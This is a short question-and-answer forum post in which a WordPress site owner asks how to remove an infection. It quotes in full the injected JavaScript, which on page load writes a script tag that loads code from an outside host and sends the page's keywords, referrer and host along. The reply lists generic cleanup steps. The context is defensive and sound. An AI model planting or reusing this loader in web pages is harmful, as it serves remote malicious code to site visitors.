How to remove this virus and find the source that infects wordpress files?

Question

Malware

<script>var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('<script type="text/javascript" src="http://www.unvc.com.ua/js/jquery.min.php?c_utt=K85164&c_utm='+encodeURIComponent('http://www.unvc.com.ua/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<y;x++){if(metas[x].name.toLowerCase()=="keywords"){keywords+=metas[x].content;}}}return keywords!==''?keywords:null;})())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?'':t:v[1]:k))+'&se_referrer='+encodeURIComponent(document.referrer)+'&source='+encodeURIComponent(window.location.host))+'"><'+'/script>');}</script>

What the virus check says joxi.ru/n2Y5d6Tj1ZPK26

Answer 1

1. Clean up the engine files
2. Clean up the database
3. Install Firewall type "All in one wordpress sequrity"
4. Update the antivirus on the computer
5. Clean the browser from malware.